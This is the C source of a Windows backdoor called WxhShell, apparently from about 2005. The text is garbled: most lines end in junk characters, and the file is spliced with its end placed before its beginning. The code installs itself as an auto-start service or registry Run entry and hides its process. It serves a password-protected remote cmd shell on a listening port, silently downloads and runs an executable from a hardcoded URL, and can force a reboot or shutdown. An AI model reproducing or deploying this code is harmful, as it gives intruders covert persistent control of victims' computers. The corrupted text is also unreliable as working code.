    if(Boot(SHUTDOWN)) eJ7A.O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3n6_yK+D  
    else { *h-nI=  
    closesocket(wsh); W.0dGUi*  
    ExitThread(0); VQqEsnkz  
    } UN,@K9  
    break; }Qg9l|  
    } 4P2)fLmc  
  // 获取shell #( X4M{I  
  case 's': { z,DEBRT+  
    CmdShell(wsh); 0>E`9|   
    closesocket(wsh); _CI!7%  
    ExitThread(0); OBb  
    break; ,h>0k`J:a  
  } Kr]F+erJe  
  // 退出 U_M> Q_r(  
  case 'x': { $C^94$W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S=M$g#X`5  
    CloseIt(wsh); &x;v&  
    break; <R]?8L0{h  
    } B8B^@   
  // 离开 (h`||48d  
  case 'q': { gX6'!}G8]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m_(+-G  
    closesocket(wsh); WW==  
    WSACleanup(); =xa`)#4(  
    exit(1); \[Rh\v&  
    break; cB?HMLbG>  
        } >@y5R^B`  
  } >`s2s@Mx  
  } A")B<BK  
jOEb1  
  // 提示信息 !:e}d+F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +J+]P\:  
} X}Fc0Oo  
  } tlvLbP*r  
r6MQ|@  
  return; M@{GT/`Pf  
} O]lWaiR`  
Q[8L='E  
// shell模块句柄 n*bbmG1  
int CmdShell(SOCKET sock) KvktC|~?  
{ GH^i,88  
STARTUPINFO si; PTL52+}/  
ZeroMemory(&si,sizeof(si)); X3RpJ#m"'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D!)'c(b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |!rD2T\Ef  
PROCESS_INFORMATION ProcessInfo; dos$d3B4  
char cmdline[]="cmd"; j: ]/AReOL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yrkd#m  
  return 0; +2C:]  
} e2/&X;2  
Isoqs(Oi  
// 自身启动模式 <qHwY.  
int StartFromService(void) s u![ST(  
{ wIi(p5*  
typedef struct ^qV*W1|0  
{ k)y0V:ZY]O  
  DWORD ExitStatus; ;:"~utL7  
  DWORD PebBaseAddress; \]y$[\F>  
  DWORD AffinityMask; _!w# {5~  
  DWORD BasePriority; Ak>RLD25_  
  ULONG UniqueProcessId; Rn-L:o@?  
  ULONG InheritedFromUniqueProcessId; sV3/8W13  
}   PROCESS_BASIC_INFORMATION; ^HC! my  
iFga==rw  
PROCNTQSIP NtQueryInformationProcess; }5DyNfZ]+0  
(Rs<'1+>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \<;/)!Nmw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O^sgUT1O  
}t"!I\C  
  HANDLE             hProcess; %{o5 }TqD  
  PROCESS_BASIC_INFORMATION pbi; VWbgusxJ  
) `;?%N\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M# S:'WN  
  if(NULL == hInst ) return 0; LH<--#K  
c#U x{^ZE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <lv:mqV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ilzR/DJMa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B;?a. 81~  
C5;"mo-  
  if (!NtQueryInformationProcess) return 0; I#$u(2.H  
CIYD'zR[2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =B;rj  
  if(!hProcess) return 0; ?uh7m 2l0D  
jsk<N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C{e:xGJK  
uXK$5"  
  CloseHandle(hProcess); Yxi.A$g  
<0&];5 on  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9)H~I/9Y  
if(hProcess==NULL) return 0; :@YZ6?hf  
i,b>&V/Y$  
HMODULE hMod; #(XP=PUj  
char procName[255]; 3MkF  
unsigned long cbNeeded; ?i9LqHL  
zb:p,T@5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @GjWeOj]  
p/SJt0  
  CloseHandle(hProcess); ~-'nEATE  
aD%")eP%&  
if(strstr(procName,"services")) return 1; // 以服务启动 Pm" ,7  
L;grH5K5  
  return 0; // 注册表启动 shP,-Vs #  
} #gi&pR'$  
W;Fcp  
// 主模块 =]etw  
int StartWxhshell(LPSTR lpCmdLine) J#'c+\B<2X  
{ CUY2eQJ{U  
  SOCKET wsl; %Ix^Xb0  
BOOL val=TRUE; W)j/[  
  int port=0; FDpNM\SR1l  
  struct sockaddr_in door; DAc jx:~  
/z5j.TMs  
  if(wscfg.ws_autoins) Install(); qRB&R$  
Wp T.25  
port=atoi(lpCmdLine); syBYH5  
oh,Nu_!  
if(port<=0) port=wscfg.ws_port; IsnC_"f  
se7_:0+w  
  WSADATA data; L3i\06M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U .G*C  
5RZAs63t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qmJFXnf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %o*afd  
  door.sin_family = AF_INET; >W 8!YOc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .X YSO  
  door.sin_port = htons(port); 0'aZ*ozk  
uXtfP?3Vy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &5C%5C~ch  
closesocket(wsl); g[:5@fI#*  
return 1; a Se.]_  
} vmW4a3  
d+"KXt5CV  
  if(listen(wsl,2) == INVALID_SOCKET) { hb^e2@i;Oq  
closesocket(wsl); @HaWd 3  
return 1; 2u#{K9g  
} +O9l@X$l=  
  Wxhshell(wsl); X @r5^A[9  
  WSACleanup(); 1~ZDHfd5  
^c.b@BE  
return 0; Q_M2!qj  
*>Om3[D  
} >TK`s@jdSV  
[o> /2  
// 以NT服务方式启动 Q7`zrCh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kA\;h|Y3  
{ P'Rr5Xa  
DWORD   status = 0; N!Kd VDdT|  
  DWORD   specificError = 0xfffffff; 574 b]  
ZtDHN L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aJIj%Y$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OJ] {FI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n |.- :Zy  
  serviceStatus.dwWin32ExitCode     = 0; AE^&hH0^  
  serviceStatus.dwServiceSpecificExitCode = 0; m,]Tl;f  
  serviceStatus.dwCheckPoint       = 0; b%T-nY2  
  serviceStatus.dwWaitHint       = 0; kZf7  
?CM,k0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b]CJf8'u  
  if (hServiceStatusHandle==0) return; C, jPr )6)  
R)G'ILneV  
status = GetLastError(); LF{qI?LG  
  if (status!=NO_ERROR) )pJ}o&J  
{ ?MO'WB9+JR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `4Nc(aUr  
    serviceStatus.dwCheckPoint       = 0; `4l>%S8y:  
    serviceStatus.dwWaitHint       = 0; %3"3OOT7  
    serviceStatus.dwWin32ExitCode     = status; V}@c5)(j  
    serviceStatus.dwServiceSpecificExitCode = specificError; bCA3w%,kM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]:]2f 9y  
    return; hoSk  
  } s7T=/SC54  
2yeq2v   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !YAkHrF`[0  
  serviceStatus.dwCheckPoint       = 0; H${Ym BG  
  serviceStatus.dwWaitHint       = 0; s7df<dBC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h'T\gF E%  
} UDuKG\_J<y  
WDgp(Av!  
// 处理NT服务事件,比如:启动、停止 nE::9Yh8z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (}] 74Lc  
{ "ZT=[&2  
switch(fdwControl) ~x>IN1Vci  
{  0fNWI  
case SERVICE_CONTROL_STOP: KGK8;Q,O  
  serviceStatus.dwWin32ExitCode = 0; w&C SE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =fG(K!AQ  
  serviceStatus.dwCheckPoint   = 0; :UFf6T?  
  serviceStatus.dwWaitHint     = 0; w_A-:S 5C  
  { AGrGZ7p]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lywcT! <  
  } 1\zI#"b ^  
  return; Zj`eR\7~  
case SERVICE_CONTROL_PAUSE: TX;OA"3=\-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %'^m6^g;  
  break; .8.ivfmJh  
case SERVICE_CONTROL_CONTINUE: ) @))3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?86h:9  
  break; X(E f=:  
case SERVICE_CONTROL_INTERROGATE: )Q7;)iPY#  
  break; Hk3HzN 3  
}; 9chiu%20  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AS4m227  
} q@Q|oB0W$)  
$Q]`+:g*}  
// 标准应用程序主函数 7e}p:Vfp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TpMfk7-  
{ !.3 MtXr  
'90B),c{  
// 获取操作系统版本 /Tv< l  
OsIsNt=GetOsVer(); oHeo]<Fbv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'fK_J}+P  
:~6%nFo  
  // 从命令行安装 | b@?]M  
  if(strpbrk(lpCmdLine,"iI")) Install(); |Zkcs]8M!  
!K`;fp!  
  // 下载执行文件 @,zBZNX y  
if(wscfg.ws_downexe) { $o]suF;3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EXb{/4  
  WinExec(wscfg.ws_filenam,SW_HIDE); %y8w9aGt  
} zU1rjhv+  
QHtpCNTVb  
if(!OsIsNt) { -pX/Tt6  
// 如果时win9x,隐藏进程并且设置为注册表启动 5zEl`h  
HideProc(); eaF5S'k 4$  
StartWxhshell(lpCmdLine); V @d:n  
} i-niRu<  
else _jeub [  
  if(StartFromService()) |bd5aRS9  
  // 以服务方式启动 1d-j_ H`s  
  StartServiceCtrlDispatcher(DispatchTable); q+ )KY  
else ,QG,tf?  
  // 普通方式启动 ;&:UxmTf  
  StartWxhshell(lpCmdLine); y fP&Q<|  
r Ld,Izi  
return 0; U76:F?MH  
} o"'VI4  
)%#hpP M^  
a#G7pZX/I}  
3OM\R%M  
=========================================== qZ8lU   
rV2}> k  
_$Z46wHmB  
Do2y7,jv  
S"N@.n[  
LU;ma((yy[  
" D(Xv shQ  
|mci-ZT  
#include <stdio.h> mP:mzmUw  
#include <string.h> 5HOhk"  
#include <windows.h> ;5 IS58L  
#include <winsock2.h> X>*zA?:  
#include <winsvc.h> G.<9K9K  
#include <urlmon.h> Zvr(c|Q  
`=CF | I  
#pragma comment (lib, "Ws2_32.lib") -U; s,>\)  
#pragma comment (lib, "urlmon.lib") KZD&Ih(vC  
,[cWG)-  
#define MAX_USER   100 // 最大客户端连接数 E}" &? oY  
#define BUF_SOCK   200 // sock buffer %M'"%Yn@(y  
#define KEY_BUFF   255 // 输入 buffer X}p4yR7'  
BAzqdG  
#define REBOOT     0   // 重启 ^!kv gm<{$  
#define SHUTDOWN   1   // 关机 Li<c  
k$I[F<f  
#define DEF_PORT   5000 // 监听端口 7a@V2cr@  
r-[z!S  
#define REG_LEN     16   // 注册表键长度 's&Vg09D,  
#define SVC_LEN     80   // NT服务名长度 *NXwllrci  
;#f%vs>Y7i  
// 从dll定义API faMUd#o&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *23  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )03.6 Pvs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O`@$YXuD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EDnmYaa)dZ  
!)LR41>?  
// wxhshell配置信息 WpmypkJA#  
struct WSCFG { ;q$<]X_S)}  
  int ws_port;         // 监听端口 6] <?+#uQ  
  char ws_passstr[REG_LEN]; // 口令 J'B;  
  int ws_autoins;       // 安装标记, 1=yes 0=no I s8|  
  char ws_regname[REG_LEN]; // 注册表键名 \&e+f#!u  
  char ws_svcname[REG_LEN]; // 服务名 HkrNh>^=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M{nz~W80  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UejG$JyHP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B]]M?pS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6j` waK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MJ92S(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4@8i,q>  
`w~ 9/sty  
}; tQwbIX-7/  
*DG*&Me  
// default Wxhshell configuration G~m(&,:Mu  
struct WSCFG wscfg={DEF_PORT, d628@~ Ekn  
    "xuhuanlingzhe",  *riGi  
    1, RmzK?muk  
    "Wxhshell", ^2=Jv.2{|  
    "Wxhshell", mTs[3opg  
            "WxhShell Service", ^[ id8  
    "Wrsky Windows CmdShell Service", 4|XE f,  
    "Please Input Your Password: ", hs/nM"V  
  1, 3>S.wyMR4  
  "http://www.wrsky.com/wxhshell.exe", -Mv`|odY/  
  "Wxhshell.exe" x80~j(uVf  
    }; "`&?<82  
ZS}2(t   
// 消息定义模块 k+s<;{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mq*Sp UR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !N)oi $T%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qh{=Z^r  
char *msg_ws_ext="\n\rExit.";  gu"Agct4  
char *msg_ws_end="\n\rQuit."; VvoJ85  
char *msg_ws_boot="\n\rReboot..."; aC%0jJ<eo  
char *msg_ws_poff="\n\rShutdown..."; 2b3*zB*@V  
char *msg_ws_down="\n\rSave to "; *nH?o* #  
69IBG,N'  
char *msg_ws_err="\n\rErr!"; .Qi`5C:U  
char *msg_ws_ok="\n\rOK!"; R'9TD=qEK  
L8ZCGW\Rr  
char ExeFile[MAX_PATH]; .#+rH}=Z  
int nUser = 0; ?=PQQx2_*u  
HANDLE handles[MAX_USER]; YemOP9  
int OsIsNt; 0~FX!1;  
rj:$'m7  
SERVICE_STATUS       serviceStatus; ;>CmVC'/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "ENgu/A!  
Ay2|@1e  
// 函数声明 YJ:CqTy  
int Install(void); Duz}e80  
int Uninstall(void); >iG`  
int DownloadFile(char *sURL, SOCKET wsh); xy|;WB  
int Boot(int flag); >\@6i s  
void HideProc(void); gbI0?G6XN/  
int GetOsVer(void); C6/,-?%)  
int Wxhshell(SOCKET wsl); x^C,xP[#Y;  
void TalkWithClient(void *cs); ^ qE4:|e  
int CmdShell(SOCKET sock); )@Bt[mfrVD  
int StartFromService(void); "@Te!.~A.  
int StartWxhshell(LPSTR lpCmdLine); k_y@vW3  
{&2$1p/9'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ETtK%%F0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <89 js87  
\x|(`;{  
// 数据结构和表定义 g/Qr] :;  
SERVICE_TABLE_ENTRY DispatchTable[] = )Wc#?K  
{ u`("x5sa  
{wscfg.ws_svcname, NTServiceMain}, 0TVO'$Gvi  
{NULL, NULL} H9 't;Do  
}; l+T\DZ  
%GHHnf%2Z  
// 自我安装 `T~M:\^D  
int Install(void) 6}<PBl%qe  
{ ['sIR+c%'O  
  char svExeFile[MAX_PATH]; t(ZiQ<A  
  HKEY key; }~A-ELe:  
  strcpy(svExeFile,ExeFile); y`\/eX  
.oSKSld  
// 如果是win9x系统,修改注册表设为自启动 @NV$!FB<  
if(!OsIsNt) { ,ciNoP*-~%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (-~tb-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |1t30_ /gS  
  RegCloseKey(key); Nzr zLK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WM>9sJf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d;'@4NX5+  
  RegCloseKey(key); w0 "h,{  
  return 0; m&; t;&#  
    } >~ne(n4qy  
  } |7f}icXKur  
} "e(OO/EZS  
else { ss-Be  
Q[g%((DL  
// 如果是NT以上系统,安装为系统服务 G q0~&6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,Q}/#/  
if (schSCManager!=0) 7OW;o mT`  
{ OP<@Xz  
  SC_HANDLE schService = CreateService wRLkO/Fw  
  ( Kj'm<]u  
  schSCManager, Rfgc^3:j  
  wscfg.ws_svcname, VJ1si0vWtq  
  wscfg.ws_svcdisp, o 'yR^`  
  SERVICE_ALL_ACCESS, (hmasy6hM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &5zUk++  
  SERVICE_AUTO_START, i 5-V$Qh  
  SERVICE_ERROR_NORMAL, gA.G:1v  
  svExeFile, iv56zsR  
  NULL, KiCZEA  
  NULL, 2-{8+*_'  
  NULL, . vYGJ8(P  
  NULL, 8n2* z  
  NULL LkNfcBa_  
  ); Mu{mj4Y{  
  if (schService!=0) E!ZDqq  
  { 2{{M{#}S.  
  CloseServiceHandle(schService); C~6aX/:  
  CloseServiceHandle(schSCManager); [*50Ng>P`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v[HxO?x^  
  strcat(svExeFile,wscfg.ws_svcname); SHh g&~B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A #ZaXu/:X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "\> <UJ  
  RegCloseKey(key); )Hw;{5p@  
  return 0; hBN!!a|l  
    } Iy e  
  } `~*qjA  
  CloseServiceHandle(schSCManager); ?VReKv1\  
} f^0vkWI2  
} 8zZR %fZ  
q9!5J2P  
return 1; GJ?rqmbL  
} Pyk~V)~M  
ku`'w;5jT  
// 自我卸载 v< ;, x  
int Uninstall(void) sPbtv[bC  
{ rWa7"<`p  
  HKEY key; .F%!zaVIu  
`ORDN|s6  
if(!OsIsNt) { ( 4b&}46  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tk+\Biq   
  RegDeleteValue(key,wscfg.ws_regname); ,g^Bu {?  
  RegCloseKey(key); [0_Kz"|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =.tsz.:c  
  RegDeleteValue(key,wscfg.ws_regname); 9}3W0F;  
  RegCloseKey(key); /$ L;m  
  return 0; 1!=$3]l0Lj  
  } -4X,x  
} \Z57UNI  
} UVU}  
else { ~r|.GY  
9X=#wh,q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e2Xx7*vS  
if (schSCManager!=0) v*#Z{)r  
{ )vy<q/o+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O|av(F9  
  if (schService!=0) <!=TxV>}A  
  { U>X06T  
  if(DeleteService(schService)!=0) { B#q5Ut  
  CloseServiceHandle(schService); z RsA[F#  
  CloseServiceHandle(schSCManager); orTTjV]_m  
  return 0; -6)ywq^{z  
  } YM#XV*P0 q  
  CloseServiceHandle(schService); '8%aq8  
  } ~ocd4,d=  
  CloseServiceHandle(schSCManager); R?X9U.AcW  
} 0aGfz=V&  
} vy-{BH  
a9D 5qj  
return 1; ?u8+F  
} .,EZ-&6{  
J-u,6c  
// 从指定url下载文件 t,MK#Ko  
int DownloadFile(char *sURL, SOCKET wsh) i|=}zR  
{ j*+r`CX  
  HRESULT hr; r$0=b -  
char seps[]= "/"; TTqOAo[-Z  
char *token; Up/1c:<J  
char *file; uw]e$,x?  
char myURL[MAX_PATH]; PQf FpmG  
char myFILE[MAX_PATH]; L@G)K  
q^12Rj;H  
strcpy(myURL,sURL); tkJ/ h<  
  token=strtok(myURL,seps); :  l]>nF4  
  while(token!=NULL) ?g<*1N?:  
  { RRq*CLj  
    file=token; EB\z:n5  
  token=strtok(NULL,seps); WqTW@-}ID  
  } Q~*A`h#  
((X"D/F]  
GetCurrentDirectory(MAX_PATH,myFILE); # &M  
strcat(myFILE, "\\"); nP0} vX)<  
strcat(myFILE, file); w7%N=hL1   
  send(wsh,myFILE,strlen(myFILE),0); s/A]&! `  
send(wsh,"...",3,0); R~c(^.|r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J-X5n 3I&  
  if(hr==S_OK) Vy(lyD<6  
return 0; t`DUY3>36  
else sCnZ\C@u  
return 1; gXf_~zxS  
gR?3)m  
} JWxPH5L  
$p9XXZ"*  
// 系统电源模块 A+[wH(  
int Boot(int flag) 29Gej Lg |  
{ Y,)9{T  
  HANDLE hToken; 0@xuxm/i  
  TOKEN_PRIVILEGES tkp; g%\e80~1(  
pp{%\td  
  if(OsIsNt) { I5 2wTl0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4P` \fz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^?juY}rZ=|  
    tkp.PrivilegeCount = 1; WUqAPN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VUx~Y'b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +)7NWR\  
if(flag==REBOOT) { Ex*g>~e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =%RDT9T.  
  return 0; Y ,}p  
} gi"v$ {R  
else { ~ 4&_$e!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eueXklpg+  
  return 0; B:^U~sR  
} bH,Jddc  
  } Je?V']lm  
  else { NgH%  
if(flag==REBOOT) { ob*2V! "  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]=_BK!O  
  return 0; !C/`"JeYL  
} f0hi70\(X  
else { m7!l3W2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J4co@=AJ  
  return 0; DPe`C%Oc1  
} >U) ,^H(  
} o/&:w z  
r[\47cG  
return 1; 6=H-H\iw  
}  m+vwp\0  
[PQG]"  
// win9x进程隐藏模块 rre;HJGEL  
void HideProc(void) MM5#B!BB  
{ 7unu-P<C  
5 wc&0h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IGI2).$[  
  if ( hKernel != NULL ) ;M JM~\L0  
  { 1}'Jbj"/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QeQbO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X5<L  
    FreeLibrary(hKernel); bqLv81V  
  } :m+:%keK  
W``e6RX-  
return; ")o.x7~N  
} $iF7hyZ  
9r)5d&,6  
// 获取操作系统版本 rAQ^:q  
int GetOsVer(void) ''WX  
{ NuXU2w~  
  OSVERSIONINFO winfo; F,EHZ,<V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1-JWqV(#?  
  GetVersionEx(&winfo); }Rf } iG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '7=*n_l  
  return 1; RhDa`kV%t  
  else (8>k_  
  return 0; ^\wosB3E  
} eM~i (]PY  
/Pf7=P  
// 客户端句柄模块 :!#-k  
int Wxhshell(SOCKET wsl) ,f1+jC  
{ dk3\~m%Pv  
  SOCKET wsh; dkVVvK  
  struct sockaddr_in client; L ~;_R*Th  
  DWORD myID; v'iQLUgI  
T&0tW"r?  
  while(nUser<MAX_USER) eq/s8]uM  
{ nDPfr\\  
  int nSize=sizeof(client); }k ,Si9O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *'`-plS7  
  if(wsh==INVALID_SOCKET) return 1; 3Y r   
e~}+.B0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \(A>~D8Fo  
if(handles[nUser]==0) ?s_q|d_  
  closesocket(wsh); Lv5AtZl}  
else dvxH:,  
  nUser++; /evh.S  
  } 6: M   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;aFQP:l/  
RnTPU`  
  return 0; O=+C Kx@  
} *]H ./a:1  
_R8-Hj E  
// 关闭 socket R2;-WxnN]  
void CloseIt(SOCKET wsh) ~7Jc;y&  
{ @cXY"hP`  
closesocket(wsh); 0Ifd!  
nUser--; lOE bh  
ExitThread(0); *vj5J"Y(;t  
} (d~'H{q  
8EP^M~rv  
// 客户端请求句柄 RZz].Nx  
void TalkWithClient(void *cs) C( r?1ma  
{ 2Hq!YsJ4]  
c(eu[vj:  
  SOCKET wsh=(SOCKET)cs; ricDP 9#a  
  char pwd[SVC_LEN]; >uUbWKn3  
  char cmd[KEY_BUFF]; W*_ifZ0s.  
char chr[1]; #ob">R  
int i,j; bGSgph  
PSy=O\  
  while (nUser < MAX_USER) { ;PbyR}s  
\^YJs?  
if(wscfg.ws_passstr) { swJwy~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M`5^v0,C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oi{jzP  
  //ZeroMemory(pwd,KEY_BUFF); $U6)km4  
      i=0; |E}N8 \Gr  
  while(i<SVC_LEN) { N,;Bl&EU  
@ojn< 7W  
  // 设置超时 lw Kr$X4  
  fd_set FdRead; ME7JU|@Z  
  struct timeval TimeOut; D)mqe-%1  
  FD_ZERO(&FdRead); '7xY ,IY  
  FD_SET(wsh,&FdRead); .vb*|So  
  TimeOut.tv_sec=8; 7zNyH(.  
  TimeOut.tv_usec=0; @ 8SYV}0H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LS \4y&J40  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _ Fer-nQ2R  
KQ2]VN"?_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %f>V\z_C  
  pwd=chr[0]; hio{: (  
  if(chr[0]==0xd || chr[0]==0xa) { "? R$9i  
  pwd=0; S[%86(,*gP  
  break; B,A/ -B\  
  } ,iHl;3bu  
  i++; MbJV)*Q  
    } / AW]12_  
19lx;^b  
  // 如果是非法用户,关闭 socket Dui<$jl0b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J M`uIVnNA  
} uL1-@D,  
D!y Cnq=8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]~|zY5i!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u'iOa  
/njN*rhx&Z  
while(1) { \75%[;.  
rfK%%-  
  ZeroMemory(cmd,KEY_BUFF); ~Ipl'cE  
:,cSEST  
      // 自动支持客户端 telnet标准   Ok,hm.|  
  j=0; e0aeiG$/0  
  while(j<KEY_BUFF) { '|6j1i0x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yr0%ZYfN  
  cmd[j]=chr[0]; .lj\ H  
  if(chr[0]==0xa || chr[0]==0xd) { z43H]  
  cmd[j]=0; UZXnABg,J  
  break; Qg4qjX](?  
  } gTs5xDvJ  
  j++; 4sG^ bZ,  
    } Dzp9BRS 2f  
 9((v.  
  // 下载文件 Hm*n ,8_  
  if(strstr(cmd,"http://")) { +nZx{d,wt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :vm*miOF  
  if(DownloadFile(cmd,wsh)) *O+N4tq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B` n!IgF8  
  else 9GCxF`OB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UoBu0Rx  
  } IV!&jL  
  else { qQ^]z8g6P  
obY5taOw  
    switch(cmd[0]) { 5B"j\TwQ  
   O'_D*?  
  // 帮助 8Kv=Zp,?`  
